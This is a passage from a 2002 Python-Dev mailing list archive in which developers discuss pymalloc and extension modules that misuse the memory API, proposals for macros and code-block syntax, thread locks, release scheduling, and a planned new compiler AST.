never handle an empty dict (which is over the current small object
threshold).  I don't need histograms to tell me that, and don't need more
than a stopwatch <wink> to tell me whether enabling pymalloc allows a large
class-heavy program to run faster if the threshold gets boosted.  If
enabling pymalloc *doesn't* help such a program, then the statistics get
interesting again.  Else they're just going to show me "oh ya, class-heavy
programs use a lot of dicts, and pymalloc always wastes time passing those
on to the system malloc now".

> After some profiling, you'll have good reasons to change a parameter
> or two (like the small block threshold).

I expect we already have good reason to boost that, because of dicts alone.
This is something to be disproved more than justified (IMO).

> Spacing the size classes by 4 bytes is not good (well, *was* not good
> at the time). Spacing them by 16 might be good now.  I don;t know --
> just try it.  Changing the pool size might be good as well.

I'm not keen to fiddle any of those.  That would be real work <wink>.

> But if the performace deltas you get are relatively small, this would
> be a platform-specific effect, so just leave things as they are.

Absolutely.



From nas@python.ca  Tue Mar 19 00:46:31 2002
From: nas@python.ca (Neil Schemenauer)
Date: Mon, 18 Mar 2002 16:46:31 -0800
Subject: [Python-Dev] survey of extension module memory managment
Message-ID: <20020318164631.A24019@glacier.arctrix.com>

I randomly grabbed a bunch of extension modules by searching the
python.org topic guides and by using Parnassus.  I looked at 20
different packages.  12 of them implemented an extension type.  12 of
them use the memory management API incorrectly and will break if
pymalloc is enabled.   That's worse than I thought.

Here is the comment list of packages with extension types:

DB2-Python-0.991

    Allocates with PyObject_NEW and deallocates with PyMem_DEL

DCOracle-1.3.1b1

    Allocates with PyObject_NEW and deallocates with PyMem_DEL
    
Kinterbasdb

    Allocates with PyObject_NEW and deallocates with PyMem_DEL

MySQL-python-0.3.5

    Allocates with PyObject_NEW and deallocates with PyMem_Free

PyGreSQL-3.3-pre011203

    Allocates with PyObject_NEW and deallocates with PyMem_DEL

avl-2.0

    Allocates with PyObject_NEW and deallocates with PyMem_DEL

crng-1.1

    Allocates with PyObject_NEW and deallocates with PyMem_Free

sybase-0.33

    Allocates with PyObject_NEW and deallocates with PyMem_DEL

pysdl-0.0.7

    Allocates with PyObject_NEW and deallocates with PyMem_DEL

sketch-0.6.13

    Allocates with PyObject_NEW and reallocates with realloc,
    deallocates with free

pyshout-0.0.6

    Allocates with PyObject_NEW and deallocates with PyMem_DEL
    
pwin

    Allocates with PyObject_NEW and deallocates with PyMem_DEL




From nas@python.ca  Tue Mar 19 00:52:54 2002
From: nas@python.ca (Neil Schemenauer)
Date: Mon, 18 Mar 2002 16:52:54 -0800
Subject: [Python-Dev] survey of extension module memory managment
In-Reply-To: <20020318164631.A24019@glacier.arctrix.com>; from nas@python.ca on Mon, Mar 18, 2002 at 04:46:31PM -0800
References: <20020318164631.A24019@glacier.arctrix.com>
Message-ID: <20020318165254.B24019@glacier.arctrix.com>

Neil Schemenauer wrote:
> Here is the comment list of packages with extension types:
              ^^^^^^^
This is getting serious. :-)  Really, I'm not dyslexic.  I type quickly
and often go back and edit sentences.  Sometimes they don't come out
right.  Sorry.

  Neil


From greg@cosc.canterbury.ac.nz  Tue Mar 19 00:52:15 2002
From: greg@cosc.canterbury.ac.nz (Greg Ewing)
Date: Tue, 19 Mar 2002 12:52:15 +1200 (NZST)
Subject: [Python-Dev] Idea - place to put string functions and consts
In-Reply-To: <029601c1ce50$551416d0$e000a8c0@thomasnotebook>
Message-ID: <200203190052.MAA28007@s454.cosc.canterbury.ac.nz>

Thomas Heller <thomas.heller@ion-tof.com>:

> Hmm. Already implemented?
> 
> >>> str.join(",", ["spam", "eggs"])
> 'spam,eggs'

Not quite. I had in mind that str.join would be the
original string.join, which has the args in a different
order and the separator is optional. But I can see that
implementing the "".join(x) bogosity has closed off
this possibility.

The constants from the string module could still be
added to str, though.

Greg Ewing, Computer Science Dept, +--------------------------------------+
University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
greg@cosc.canterbury.ac.nz	   +--------------------------------------+


From mahler@cyc.com  Tue Mar 19 01:54:28 2002
From: mahler@cyc.com (Daniel Mahler)
Date: Mon, 18 Mar 2002 19:54:28 -0600
Subject: [Python-Dev] A Hygienic Macro System in Python?
In-Reply-To: <15510.25838.348649.56445@beluga.mojam.com>
References: <web-3773549@digicool.com>
 <LNBBLJKPBEHFEDALKOLCKEKBOFAA.tim.one@comcast.net>
 <15510.25838.348649.56445@beluga.mojam.com>
Message-ID: <15510.39508.668328.327377@mcallister.cyc.com>

I this 
Skip Montanaro writes:

 >     Tim> OTOH, there are cases like
 > 
 >     Tim>     lock.acquire()
 >     Tim>     try:
 >     Tim>         do stuff
 >     Tim>     finally:
 >     Tim>         lock.release()
 > 
      ===>
 >     Tim>     withlock lock:
 >     Tim>         do stuff
 > 
 >       ...
 > Using the same argument as "if Guido wanted 'unless' he'd add it
 > to the language", I think that if this is important enough, it's important
 > enough to add to the language.  I think a "lock" keyword would be
 > appropriate:
 > 
 >     lock somelock:
 >         do stuff
 > 

I think this misses a more general point behind Tims post.
There are many APIs that lead you to write code with certain fixed
parts. Since Python like most languges has eager evaluation,
procedures cannot be used to abstract out the fixed parts
(usually initialization and clean up, but not always)

eg:

 #imagine this is some connection protocol for some kind of server

  withConnectionTo connVar address:
     <statements>

 ==>
  
  connVar = Connect(address)
  try:
    <statements>
  finally:
    connVar.disconnect()

[ I presume nobody really wants people to implement

  def withConnectionTo(connVar,address,statements):
    exec("""

  %s = Connect(%s)
  try:
    %s
  finally:
    %s.disconnect()

         """ % (connVar,address,statements, connVar)
         )
]


There is a potential infinity of code templates like this that can get annoying,
and which cannot be abstracted out procedurally in a natural way.



I think the thing worth noting here is that the introduced constructs
would usually be colon&indent type entities (what do we call those?)
One application of definable syntax is compositional *incremental*
output without the need to build up a string
or some other kind of datastructure to represent the entire document first
which can get horribly expensive for complex documents.
Consider a html printer macro library:

html:
    header:
        title:
            print "blah"
    body:
        h1:
            print "bleh"
        p:
            print "foo" 
            a (href="http://bar.org"):
                print "bar"
            print "baz"

Daniel Mahler




From tim.one@comcast.net  Tue Mar 19 01:05:33 2002
From: tim.one@comcast.net (Tim Peters)
Date: Mon, 18 Mar 2002 20:05:33 -0500
Subject: [Python-Dev] POSIX thread code
In-Reply-To: <200203181423.g2IENd722219@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCMELCOFAA.tim.one@comcast.net>

[Guido]
> I was thinking of the situation where a user learning about threads
> and locks gets in trouble in an interactive session, by typing
> something that grabs a lock that won't ever be released.  Telling them
> they shouldn't have done that isn't going to help them.

It will if it teaches them not to do it again <wink>.

> IMO this is the same kind of situation as comparing a recursive list
> to itself: this used to crash due to a stack overflow, and we cared
> enough about this "don't do that then" situation to fix it.

A prime difference is that I've never seen anyone report this problem, and I
still pay attention to the Help and Tutor lists.  Reports of recursive
compare blowups came around several times each year.

> ...
> Yeah, unfortunately the only implementation technique I have to offer
> right now is to turn all acquire calls internally into a loop around
> an acquire call with a timeout in the order of 1 second, and to check
> signals each time around the loop. :-(

I think a practical solution would need a different lock implementation at
the lowest level.  The new POSIX semaphore-based lock implementation is
more-or-less friendly to this, although it looks painful even so.  I'm not
sure what could be done on Windows, but am not inclined to take it seriously
before Orlijn reports the bug.



From skip@pobox.com  Tue Mar 19 01:17:10 2002
From: skip@pobox.com (Skip Montanaro)
Date: Mon, 18 Mar 2002 19:17:10 -0600
Subject: [Python-Dev] survey of extension module memory managment
In-Reply-To: <20020318164631.A24019@glacier.arctrix.com>
References: <20020318164631.A24019@glacier.arctrix.com>
Message-ID: <15510.37270.551622.863907@12-248-41-177.client.attbi.com>

    Neil> I randomly grabbed a bunch of extension modules by searching the
    Neil> python.org topic guides and by using Parnassus.  

    Neil> MySQL-python-0.3.5
    Neil>     Allocates with PyObject_NEW and deallocates with PyMem_Free

FWIW, I filed a bug report with the mysql-python project.  That's one less
to worry about.  :-)

Skip


From tim.one@comcast.net  Tue Mar 19 01:27:03 2002
From: tim.one@comcast.net (Tim Peters)
Date: Mon, 18 Mar 2002 20:27:03 -0500
Subject: [Python-Dev] survey of extension module memory managment
In-Reply-To: <20020318164631.A24019@glacier.arctrix.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCCELEOFAA.tim.one@comcast.net>

[Neil Schemenauer]
> I randomly grabbed a bunch of extension modules by searching the
> python.org topic guides and by using Parnassus.  I looked at 20
> different packages.  12 of them implemented an extension type.  12 of
> them use the memory management API incorrectly and will break if
> pymalloc is enabled.   That's worse than I thought.

Yet believable, given how many reports of "pymalloc failures" we've seen
over the last couple years.

I choose to look at the bright side:  all the modules you listed used *some*
way to spell "get memory" when getting memory, and some way to spell
"release memory" when releasing memory.  We can deduce from that exactly how
much users can keep straight <wink>.



From Anthony Baxter <anthony@ekit-inc.com>  Tue Mar 19 01:28:46 2002
From: Anthony Baxter <anthony@ekit-inc.com> (Anthony Baxter)
Date: Tue, 19 Mar 2002 12:28:46 +1100
Subject: [Python-Dev] 2.2.1 release schedule
In-Reply-To: Message from Michael Hudson <mwh@python.net>
 of "18 Mar 2002 14:36:37 -0000." <2m4rjex7re.fsf@starship.python.net>
Message-ID: <200203190128.g2J1Skt17383@burswood.off.ekorp.com>

>>> Michael Hudson wrote
> I think the time argument may be a red herring; I'm not sure there are
> so many people checking the branch out that it really makes any
> difference.

I was planning on going the sf compile farm and the compaq testdrive
systems to make sure that everything's vaguely sane, but I'm not going
to have time for that for a couple of days. I'd suggest 2 weeks as well -
but since that takes us to near easter, maybe waiting til the day after
easter?

course, if someone else wants to pound the compile farm with builds, 
they're welcome :)

Anthony

-- 
Anthony Baxter     <anthony@interlink.com.au>   
It's never to late to have a happy childhood.



From DavidA@ActiveState.com  Tue Mar 19 01:35:08 2002
From: DavidA@ActiveState.com (David Ascher)
Date: Mon, 18 Mar 2002 17:35:08 -0800
Subject: [Python-Dev] A Hygienic Macro System in Python?
References: <web-3773549@digicool.com>
 <LNBBLJKPBEHFEDALKOLCKEKBOFAA.tim.one@comcast.net>
 <15510.25838.348649.56445@beluga.mojam.com> <15510.39508.668328.327377@mcallister.cyc.com>
Message-ID: <3C9695CC.A607AA5A@activestate.com>

Daniel Mahler:

> Consider a html printer macro library:
> 
> html:
>     header:
>         title:
>             print "blah"
>     body:
>         h1:
>             print "bleh"
>         p:
>             print "foo"
>             a (href="http://bar.org"):
>                 print "bar"
>             print "baz"
> 

funny.  That's not too far from code that I write in Quixote w/ some
extra functions:


template page(request):
	header(title("blah"))
	body(hl("bleh"),
             p(("foo", 
                a(href="...","bar")),
             "baz"
             )

note that template is the Quixote part, which removes the need for
unsightly prints =)

My vote on the notion is that I want to know what good macros people
would write, and then implement them in a non-macro fashion.  The lock
or connection examples to me indicate a possible language addition which
boils down to something nice and essential (in the meaning of 'of the
essence').  Macros in their generality scare me.

--david


From guido@python.org  Tue Mar 19 01:54:51 2002
From: guido@python.org (Guido van Rossum)
Date: Mon, 18 Mar 2002 20:54:51 -0500
Subject: [Python-Dev] Idea of the Month: Preprocessor
In-Reply-To: Your message of "Mon, 18 Mar 2002 18:03:59 EST."
 <003d01c1ced1$32b82460$52e77ad1@othello>
References: <003d01c1ced1$32b82460$52e77ad1@othello>
Message-ID: <200203190154.g2J1sqh00753@pcp742651pcs.reston01.va.comcast.net>

> Enable a command line option [-p filename.py] and a related
> environment variable PYTHONPREPROCESS.  The new behavior of the
> interpreter would then be to submit all of its input to the
> preprocess program (a module written in pure python) and then
> interpret the result.

Instead of encumbering the standard Python interpreter, why not write
a script that runs its argument after preprocessing it, and inserts a
preprocessor in __import__.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From greg@cosc.canterbury.ac.nz  Tue Mar 19 02:31:19 2002
From: greg@cosc.canterbury.ac.nz (Greg Ewing)
Date: Tue, 19 Mar 2002 14:31:19 +1200 (NZST)
Subject: [Python-Dev] Idea - place to put string functions and consts
In-Reply-To: <200203182018.g2IKIAI25445@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <200203190231.OAA28019@s454.cosc.canterbury.ac.nz>

Guido:

> >     COMMA.join(['spam', 'eggs'])
> 
> This I've never liked.
> 
> >    comma_join(['spam', 'eggs'])
> 
> But this one's sweet!

The Guido thinks in mysterious ways.

Greg Ewing, Computer Science Dept, +--------------------------------------+
University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
greg@cosc.canterbury.ac.nz	   +--------------------------------------+


From nas@python.ca  Tue Mar 19 02:56:43 2002
From: nas@python.ca (Neil Schemenauer)
Date: Mon, 18 Mar 2002 18:56:43 -0800
Subject: [Python-Dev] survey of extension module memory managment
In-Reply-To: <LNBBLJKPBEHFEDALKOLCCELEOFAA.tim.one@comcast.net>; from tim.one@comcast.net on Mon, Mar 18, 2002 at 08:27:03PM -0500
References: <20020318164631.A24019@glacier.arctrix.com> <LNBBLJKPBEHFEDALKOLCCELEOFAA.tim.one@comcast.net>
Message-ID: <20020318185643.A24683@glacier.arctrix.com>

Tim Peters wrote:
> I choose to look at the bright side:  all the modules you listed used *some*
> way to spell "get memory" when getting memory, and some way to spell
> "release memory" when releasing memory.  We can deduce from that exactly how
> much users can keep straight <wink>.

Something else interesting I noticed: almost everyone uses the macro and
not the function.

  Neil


From tim.one@comcast.net  Tue Mar 19 03:11:38 2002
From: tim.one@comcast.net (Tim Peters)
Date: Mon, 18 Mar 2002 22:11:38 -0500
Subject: [Python-Dev] survey of extension module memory managment
In-Reply-To: <20020318185643.A24683@glacier.arctrix.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCMELHOFAA.tim.one@comcast.net>

[Neil Schemenauer]
> Something else interesting I noticed: almost everyone uses the macro
> and not the function.

Well, sure -- the docs said it was faster.  Now you know how to get everyone
to do what you want <wink>.



From andymac@bullseye.apana.org.au  Mon Mar 18 22:30:33 2002
From: andymac@bullseye.apana.org.au (Andrew MacIntyre)
Date: Tue, 19 Mar 2002 08:30:33 +1000 (est)
Subject: [Python-Dev] Re: Activating pymalloc
In-Reply-To: <LNBBLJKPBEHFEDALKOLCEEGCOFAA.tim.one@comcast.net>
Message-ID: <Pine.OS2.4.32.0203190828020.39-100000@tenring>

On Mon, 18 Mar 2002, Tim Peters wrote:

> Lots of people have reported modest speedups in non-pathological
> programs too (except on OS/2 EMX, or something like that).

It works just fine when pymalloc is configured normally (~2% speedup).
The performance hit came when I changed all interpreter memory management
to pymalloc.... (to deal with a pathological case in the parser)

--
Andrew I MacIntyre                     "These thoughts are mine alone..."
E-mail: andymac@bullseye.apana.org.au  | Snail: PO Box 370
        andymac@pcug.org.au            |        Belconnen  ACT  2616
Web:    http://www.andymac.org/        |        Australia



From tim.one@comcast.net  Tue Mar 19 03:26:23 2002
From: tim.one@comcast.net (Tim Peters)
Date: Mon, 18 Mar 2002 22:26:23 -0500
Subject: [Python-Dev] Re: Activating pymalloc
In-Reply-To: <Pine.OS2.4.32.0203190828020.39-100000@tenring>
Message-ID: <LNBBLJKPBEHFEDALKOLCKELIOFAA.tim.one@comcast.net>

[Tim]
> Lots of people have reported modest speedups in non-pathological
> programs too (except on OS/2 EMX, or something like that).

[Andrew MacIntyre]
> It works just fine when pymalloc is configured normally (~2% speedup).

When running what?

> The performance hit came when I changed all interpreter memory
> management to pymalloc.... (to deal with a pathological case in the
> parser)

I'm not sure what that means.  Rather than try to explain it (trust me:  it
won't work <wink>), if you post a patch attached to a bug report on
SourceForge, we can see whether the same is true on other boxes.



From mahler@cyc.com  Tue Mar 19 04:02:32 2002
From: mahler@cyc.com (Daniel Mahler)
Date: Mon, 18 Mar 2002 22:02:32 -0600
Subject: [Python-Dev] A Hygienic Macro System in Python?
In-Reply-To: <3C9695CC.A607AA5A@activestate.com>
References: <web-3773549@digicool.com>
 <LNBBLJKPBEHFEDALKOLCKEKBOFAA.tim.one@comcast.net>
 <15510.25838.348649.56445@beluga.mojam.com>
 <15510.39508.668328.327377@mcallister.cyc.com>
 <3C9695CC.A607AA5A@activestate.com>
Message-ID: <15510.47192.959643.527853@mcallister.cyc.com>

David Ascher writes:
 > Daniel Mahler:
 > 
 > > Consider a html printer macro library:
 > > 
 > > html:
 > >     header:
 > >         title:
 > >             print "blah"
 > >     body:
 > >         h1:
 > >             print "bleh"
 > >         p:
 > >             print "foo"
 > >             a (href="http://bar.org"):
 > >                 print "bar"
 > >             print "baz"
 > > 
 > 
 > funny.  That's not too far from code that I write in Quixote w/ some
 > extra functions:
 > 
 > 
 > template page(request):
 > 	header(title("blah"))
 > 	body(hl("bleh"),
 >              p(("foo", 
 >                 a(href="...","bar")),
 >              "baz"
 >  
            )
Neat!

 > note that template is the Quixote part, which removes the need for
 > unsightly prints =)

I agree that the prints are annoying,
but the idea is that the body
is a command and gets evaluated lazily.
How do you accomplish that with Quixote?

 > My vote on the notion is that I want to know what good macros people
 > would write, and then implement them in a non-macro fashion.  The lock
 > or connection examples to me indicate a possible language addition
 > which

But the problem is that even the connections in a wide variety:
* tcp
* database
* ftp
...

Thus one would at least want a generic mechanism for something like
before/after/around methods, where the body can be specified at run time.
Personally, though, I like the idea of being able to abstract control,
which you can't do with methods/procedures easily,
but is natural code generation.
Maybe the new metaclasses have something to offer here.
However the advantage of macros is that they are expanded at compile time,
and so actually increase efficiency

Probably the best references on good uses of macros, I know of,
are in the following books:
* Paul Graham: On Lisp
* Czarnecki & Eisenecker: Generative Programming

On the web there is the Blitz++ library which makes heavy use of C++ templates:
http://www.oonumerics.org/blitz/papers/
http://osl.iu.edu/~tveldhui/papers

Daniel

 > boils down to something nice and essential (in the meaning of 'of the
 > essence').  Macros in their generality scare me.
 > 
 > --david
 > 
 > _______________________________________________
 > Python-Dev mailing list
 > Python-Dev@python.org
 > http://mail.python.org/mailman/listinfo/python-dev



From greg@cosc.canterbury.ac.nz  Tue Mar 19 05:39:40 2002
From: greg@cosc.canterbury.ac.nz (Greg Ewing)
Date: Tue, 19 Mar 2002 17:39:40 +1200 (NZST)
Subject: [Python-Dev] A Hygienic Macro System in Python?
In-Reply-To: <LNBBLJKPBEHFEDALKOLCKEKBOFAA.tim.one@comcast.net>
Message-ID: <200203190539.RAA28367@s454.cosc.canterbury.ac.nz>

Tim Peters <tim.one@comcast.net>:

> Maybe Guido can introduce a canned "withlock" macro just
> for that <ahem>:
> 
>     withlock lock:
>         do stuff

Daniel Mahler <mahler@cyc.com>:

> There are many APIs that lead you to write code with certain fixed
> parts
> ...
> I think the thing worth noting here is that the introduced
> constructs would usually be colon&indent type entities

I've been trying to think of a Pythonic syntax for passing
code blocks to procedures. The best thing I've come up with
so far is something like

  lock.do:
    something()

which would be (sort of) equivalent to

  def thunk():
    do_something()
  lock.do(thunk)

except that the thunk would have to have write access to
the namespace it's embedded in, perhaps implemented by
sharing the stack frame.

Greg Ewing, Computer Science Dept, +--------------------------------------+
University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
greg@cosc.canterbury.ac.nz	   +--------------------------------------+


From jeremy@zope.com  Tue Mar 19 05:45:28 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Tue, 19 Mar 2002 00:45:28 -0500
Subject: [Python-Dev] compiler-sig project for Python 2.3: new AST
Message-ID: <web-3776144@digicool.com>

These are notes copied from a Wiki at
http://www.zope.org/Members/jeremy/CurrentAndFutureProjects/PythonAST

They are a bit rough, but they set out some of the work I'd
like to do
for Python 2.3.  Some of the work belongs in a PEP, but I'm
not ready
to write it yet.

Please reply to compiler-sig@python.org.

Jeremy

A New AST for Python
--------------------

I have proposed some namespace optimizations for Python 2.3.
These
optimizations require more analysis by the compiler, which
is quite
difficult given the current parse tree representation. As a
first step
towards those optimizations, I plan to introduce a new AST
that makes
analysis easier. This step is a major undertaking by itself.

The primary goal of the new AST is to provide better
intermediate
representation(s) so that the compiler is easier to maintain
and
extend.  One benefit is to enable optimizations by providing
better
tools for analyzing programs during bytecode compiling.

I expect the new AST will be based largely on the one in the
compiler
package (part of the std library in 2.2), which was
originally done by
Greg Stein and Bill Tutt.

Rough plan of action
--------------------

-- Define the AST.

Settle on C and Python (and Java?) implementations of AST.
I like the look of the C code generated by asdlGen, but
haven't had a
chance to get the tool working. See Dan Wang's DSL 97 paper:
The
Zephyr Abstract Syntax Description Language.

Could always write new asdlGen tool for targetted languages

-- Write converter from current parse tree to AST.

Basic functionality of compiler/transformer.py.

Replace parser module.

WingIDE? folks have implemented something like this in C.
parsetools

-- Expose AST to Python programs

Replace parser module and parts of compiler package.

asdlGen has a notion of AST pickles. Would that be
sufficient?

-- An AST visitor in C?

The visitor pattern is very useful for manipulating ASTs? in
Python. Could it be translated to C somehow?

-- Reimplement compile.c with new AST

Break it up into several passes: future stmts, doc strings,
symbol
table, code gen.

Not sure how much of the code in the compiler package may be
useful
here. The codegen part is relatively good, the pyassem part
is pretty
ugly.

Testing
-------

I overhauled the compiler for Python 2.1 to implement nested
scopes. I
spent a lot of time debugging the various compiler passes,
usually
because I forgot to handle a particular kind of grammar
production. The new AST should make this a lot easier, but I
would
also like to see a thorough test suite for the new code.

I don't know anything about best practices for testing
compilers. I
imagine that a system to generate sample inputs from the
language
grammar would be helpful for debugging the C code that walks
the AST.




From martin@v.loewis.de  Tue Mar 19 06:45:53 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 19 Mar 2002 07:45:53 +0100
Subject: [Python-Dev] rotor module
In-Reply-To: <3C966AEA.CA91701C@metaslash.com>
References: <3C95C439.D5B3C573@lemburg.com> <3C961E37.56BB3F30@metaslash.com>
 <3C962276.319950D5@lemburg.com> <3C966AEA.CA91701C@metaslash.com>
Message-ID: <m3k7s9qcm6.fsf@mira.informatik.hu-berlin.de>

Neal Norwitz <neal@metaslash.com> writes:

> The only thing I was able to find was that mail was supposed to be
> sent to: crypt@bxa.doc.gov.  I don't know if this is correct or not.
> If anyone wants, I can send a message to them asking what needs
> to be done?

Asking can't hurt.

Regards,
Martin


From martin@v.loewis.de  Tue Mar 19 06:50:39 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 19 Mar 2002 07:50:39 +0100
Subject: [Python-Dev] pymalloc on Windows
In-Reply-To: <LNBBLJKPBEHFEDALKOLCMEKEOFAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCMEKEOFAA.tim.one@comcast.net>
Message-ID: <m3g02xqce8.fsf@mira.informatik.hu-berlin.de>

Tim Peters <tim.one@comcast.net> writes:

> [Martin v. Loewis]
> > Or, more interestingly, Neil's patch taking away the PyCore* API
> > altogether. If we take his approach, the list of symbols-to-export
> > needs to be written from scratch.
> 
> What list of symbols-to-export?  That is, are you talking about some
> specific file under CVS, and if so which one(s)?

No, I was talking about the list (or set, if you wish) of symbols
exported from pythonxy.dll (on OS/2, there actually is a list,
PC/os2vcapp/python.def). Mark was asking whether some _PyCore* symbol
should have been exported, which would go away under Neil's patch. In
turn, additional symbols might need to get exported; I'm not sure
whether the necessary incantation is also in Neil's patch - if that is
in, each of its symbols need to be reconsidered for export.

Regards,
Martin



From martin@v.loewis.de  Tue Mar 19 06:55:56 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 19 Mar 2002 07:55:56 +0100
Subject: [Python-Dev] A Hygienic Macro System in Python?
In-Reply-To: <01f201c1cece$b38fdfe0$ced241d5@hagrid>
References: <LNBBLJKPBEHFEDALKOLCKEKBOFAA.tim.one@comcast.net>
 <m3pu21ed1k.fsf@mira.informatik.hu-berlin.de>
 <01f201c1cece$b38fdfe0$ced241d5@hagrid>
Message-ID: <m3bsdlqc5f.fsf@mira.informatik.hu-berlin.de>

"Fredrik Lundh" <fredrik@pythonware.com> writes:

> if you can do it without breaking anything...

I'd try to automate it.

> (how exhaustive is the cPickle test suite?)

The main data of it are 286 lines of Python code (how else would you
measure exhaustiveness...)

Martin



From martin@v.loewis.de  Tue Mar 19 07:11:54 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 19 Mar 2002 08:11:54 +0100
Subject: [Python-Dev] survey of extension module memory managment
In-Reply-To: <20020318164631.A24019@glacier.arctrix.com>
References: <20020318164631.A24019@glacier.arctrix.com>
Message-ID: <m37ko9qbet.fsf@mira.informatik.hu-berlin.de>

Neil Schemenauer <nas@python.ca> writes:

> I randomly grabbed a bunch of extension modules by searching the
> python.org topic guides and by using Parnassus.  I looked at 20
> different packages.  12 of them implemented an extension type.  12 of
> them use the memory management API incorrectly and will break if
> pymalloc is enabled.   That's worse than I thought.

It's actually better than you thought. Using PyObject_NEW is the 1.5.2
way to spell "allocate and initialize object"; it is the rename2.h
name for NEWOBJ.

Your review shows that using PyObject_New and PyObject_Del is not
common, I'd now question that there actually is real-world code that
uses them incorrectly. So here is my theory:

If PyObject_NEW becomes malloc, and PyObject_New becomes pymalloc,
nothing would break.

Regards,
Martin


From mahler@cyc.com  Tue Mar 19 08:19:56 2002
From: mahler@cyc.com (Daniel Mahler)
Date: Tue, 19 Mar 2002 02:19:56 -0600
Subject: [Python-Dev] A Hygienic Macro System in Python?
In-Reply-To: <200203190539.RAA28367@s454.cosc.canterbury.ac.nz>
References: <LNBBLJKPBEHFEDALKOLCKEKBOFAA.tim.one@comcast.net>
 <200203190539.RAA28367@s454.cosc.canterbury.ac.nz>
Message-ID: <15510.62636.372717.941776@mcallister.cyc.com>

Greg Ewing writes:
 > Tim Peters <tim.one@comcast.net>:
 > 
 > > Maybe Guido can introduce a canned "withlock" macro just
 > > for that <ahem>:
 > > 
 > >     withlock lock:
 > >         do stuff
 > 
 > Daniel Mahler <mahler@cyc.com>:
 > 
 > > There are many APIs that lead you to write code with certain fixed
 > > parts
 > > ...
 > > I think the thing worth noting here is that the introduced
 > > constructs would usually be colon&indent type entities
 > 
 > I've been trying to think of a Pythonic syntax for passing
 > code blocks to procedures. The best thing I've come up with
 > so far is something like
 > 
 >   lock.do:
 >     something()
 > 
 > which would be (sort of) equivalent to
 > 
 >   def thunk():
 >     do_something()
 >   lock.do(thunk)


How about introducing a defsyn construct,
which takes an aditional *** argument,
whose evaluation is delayed.
The trick is to come up with syntax to distinguish compile/run times.
At *worst* one could use strings to quote the generated code in the macro definition.
Something like:

defsyn lock (lck, ***body):
  # 'expand' = a new keyword representing the macroexpansion operation
  # generated code is automatically indented to the calling level
  expand """
%s.acquire()
try:
    %s
finally:
    %s.release()
""" (lck, body, lck)

lock lck1:
   code

Clearly this is suboptimal and fuzzy as is,
but I think there is a sane idea try to get out :).
Maybe someone can give it more help than I can.

cheers
Daniel



 > 
 > except that the thunk would have to have write access to
 > the namespace it's embedded in, perhaps implemented by
 > sharing the stack frame.
 > 
 > Greg Ewing, Computer Science Dept, +--------------------------------------+
 > University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
 > Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
 > greg@cosc.canterbury.ac.nz	   +--------------------------------------+
 > 
 > _______________________________________________
 > Python-Dev mailing list
 > Python-Dev@python.org
 > http://mail.python.org/mailman/listinfo/python-dev



From skip@pobox.com  Tue Mar 19 07:22:17 2002
From: skip@pobox.com (Skip Montanaro)
Date: Tue, 19 Mar 2002 01:22:17 -0600
Subject: [Python-Dev] pymalloc API - is 1.5.2 compatibility a possible explanation?
Message-ID: <15510.59177.474400.263327@12-248-41-177.client.attbi.com>

1.5.2 rears its ugly head again...

Neil S. reported on a number of 3rd party extension modules that don't do
object alloc/free properly.  I reported a bug to the mysql-python project,
which uses PyObject_NEW and PyMem_Free.  Andy Dustman's reply, in part, was:

    1.5.2 apparently does not have PyObject_New() or PyObject_Del(), thus
    the problem...

The thread is here:

  http://sourceforge.net/tracker/?func=detail&atid=374932&aid=531671&group_id=22307

Check here for Andy's proposed patch to _mysql.c (ignore the non-alloc
stuff):

  http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/mysql-python/MySQLdb/_mysql.c.diff?r1=1.16&r2=1.22

It would appear at least some of the breakage stems from actual or perceived
differences in the object allocation API between 1.5.2 and 2.x.

Skip


From fredrik@pythonware.com  Tue Mar 19 07:43:29 2002
From: fredrik@pythonware.com (Fredrik Lundh)
Date: Tue, 19 Mar 2002 08:43:29 +0100
Subject: [Python-Dev] survey of extension module memory managment
References: <20020318164631.A24019@glacier.arctrix.com>
Message-ID: <005801c1cf19$c5c441b0$ced241d5@hagrid>

Neil Schemenauer wrote:

> I randomly grabbed a bunch of extension modules by searching the
> python.org topic guides and by using Parnassus.  I looked at 20
> different packages.  12 of them implemented an extension type.  12 of
> them use the memory management API incorrectly and will break if
> pymalloc is enabled.   That's worse than I thought.

$ more Python-1.5.2/Objects/xxobject.c

...

static xxobject *
newxxobject(arg)
PyObject *arg;
{
    xxobject *xp;
    xp = PyObject_NEW(xxobject, &Xxtype);
    if (xp == NULL)
        return NULL;
    xp->x_attr = NULL;
    return xp;
}

/* Xx methods */
static void
xx_dealloc(xp)
xxobject *xp;
{
    Py_XDECREF(xp->x_attr);
    PyMem_DEL(xp);
}

...

it looked like this between 1994 and May 2000.

and as noted elsewhere, PyObject_DEL, PyObject_New, and
PyObject_Del don't exist in older versions.

</F>



From mal@lemburg.com  Tue Mar 19 08:58:17 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Tue, 19 Mar 2002 09:58:17 +0100
Subject: [Python-Dev] rotor module
References: <3C95C439.D5B3C573@lemburg.com> <3C961E37.56BB3F30@metaslash.com>
 <3C962276.319950D5@lemburg.com> <3C966AEA.CA91701C@metaslash.com> <m3k7s9qcm6.fsf@mira.informatik.hu-berlin.de>
Message-ID: <3C96FDA9.95F0750C@lemburg.com>

"Martin v. Loewis" wrote:
> 
> Neal Norwitz <neal@metaslash.com> writes:
> 
> > The only thing I was able to find was that mail was supposed to be
> > sent to: crypt@bxa.doc.gov.  I don't know if this is correct or not.
> > If anyone wants, I can send a message to them asking what needs
> > to be done?
> 
